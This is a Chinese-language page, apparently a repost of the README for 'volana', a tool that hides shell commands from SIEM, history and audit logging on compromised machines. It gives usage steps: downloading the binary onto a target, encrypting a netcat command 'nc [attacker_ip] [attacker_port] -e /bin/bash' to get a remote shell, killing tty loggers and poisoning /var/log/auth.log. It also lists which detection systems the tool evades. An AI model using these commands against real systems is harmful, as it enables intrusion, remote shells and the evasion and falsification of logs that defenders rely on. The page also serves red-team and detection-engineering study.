Shell 命令混淆以避开 SIEM/检测系统
在渗透测试过程中,一个重要的方面是隐蔽性。因此,你应该在通过后清除你的踪迹。然而,许多基础设施会记录命令并实时将其发送到SIEM,volana这使得事后清理部分本身毫无用处。通过提供自己的 shell 运行时(输入你的命令,volana 会为你执行),提供一种隐藏在受感染机器上执行的命令的简单方法。这样,你就可以在通过过程中清除你的踪迹
用法
您需要获取一个交互式 shell。(找到一种方法来生成它,您是黑客,这是您的工作!否则)。然后在目标机器上下载并启动它。就是这样,现在您可以输入要秘密执行的命令## Download it from github release<br>## If you do not have internet access from compromised machine, find another way<br>curl -lO -L <a href="https://github.com/ariary/volana/releases/latest/download/volana" rel="nofollow"><span>https</span><span>://</span><span>github</span><span>.</span><span>com</span><span>/</span><span>ariary</span><span>/</span><span>volana</span><span>/</span><span>releases</span><span>/</span><span>latest</span><span>/</span><span>download</span><span>/</span><span>volana</span></a><br><br>## Execute it<br>./volana<br><br>## You are now under the radar<br>volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky<br>volana » [command]<br>
volana 控制台的关键字:* ring:启用环形模式,即每个命令都与大量其他命令一起启动以掩盖踪迹(来自监控系统调用的解决方案)* exit:退出 volana 控制台
来自非交互式 shell
假设您有一个非交互式 shell(webshell 或盲目 rce),您可以使用<a href="https://www.kitploit.com/search/label/Encrypt" target="_blank" title="encrypt">encrypt</a>和decrypt子命令。以前,您需要使用volana嵌入式加密离子密钥。在攻击者的机器上
## Build volana with encryption key<br>make build.volana-with-encryption<br><br>## Transfer it on TARGET (the unique detectable command)<br>## [...]<br><br>## Encrypt the command you want to stealthy execute<br>## (Here a nc bindshell to obtain a interactive shell)<br>volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"<br>>>> ENCRYPTED COMMAND<br>
复制加密的命令,并在目标机器上使用 rce 执行它
./volana decr [encrypted_command]<br>## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)<br><br>
echo [command] | base64为什么不直接用 隐藏命令?然后用echo [encoded_command] | base64 -d | bash
因为我们希望受到保护,免受触发base64使用警报或在命令中寻找 base64 文本的系统的影响。我们还想让调查变得困难,而 base64 并不是真正的阻碍。
检测
请记住,这volana不是让你完全隐形的奇迹。它的目的是让入侵检测和调查变得更加困难。检测的意思是,如果某个命令被执行,我们是否能够触发警报。
隐藏
volana只会捕获启动命令行。
- 基于历史命令输出的检测系统
- 基于历史文件的检测系统
- .bash_history, “.zsh_history” 等等..
- 基于 bash 调试陷阱的检测系统
- 基于 sudo 内置日志系统的检测系统
- 检测系统跟踪系统范围内所有进程的系统调用(例如opensnoop)
- 终端(tty)记录器(script、、、、等等)screen -Lsexonthebashovh-ttyrec
- 易于检测和避免:pkill -9 script
- 并非常见情况
- screen有点难以避免,但是它没有记录输入(秘密输入:stty -echo=> 避免)
- 可以volana通过加密来避免命令检测
可见于
- 对未知命令发出警报的检测系统 (volana one)
- 基于键盘记录器的检测系统
- 容易避免:复制/粘贴命令
- 并非常见情况
- 基于 syslog 文件的检测系统(例如/var/log/auth.log)
- 仅适用于sudo或su命令
- syslog 文件可能会被修改,从而按照你的意愿被毒害(例如/var/log/auth.log : logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
- 基于 syscall 的检测系统(例如 auditd、LKML/eBPF)
- 难以分析,通过多次转移系统调用可能会变得不可读
- 自定义LD_PRELOAD注入来制作日志
- 这不是常见的情况
漏洞赏金
抱歉,标题太吸引人了,但我们不会为贡献者提供任何报酬。
如果您发现以下情况请告诉我: * 一种检测方法volana* 一种监视不检测volana命令的控制台的方法 * 一种避免检测系统的方法
在此报告
信用
- 监视控制台的 8 种方法
- 月球漫步:类似工具,可在通过后清除痕迹
下载 Volana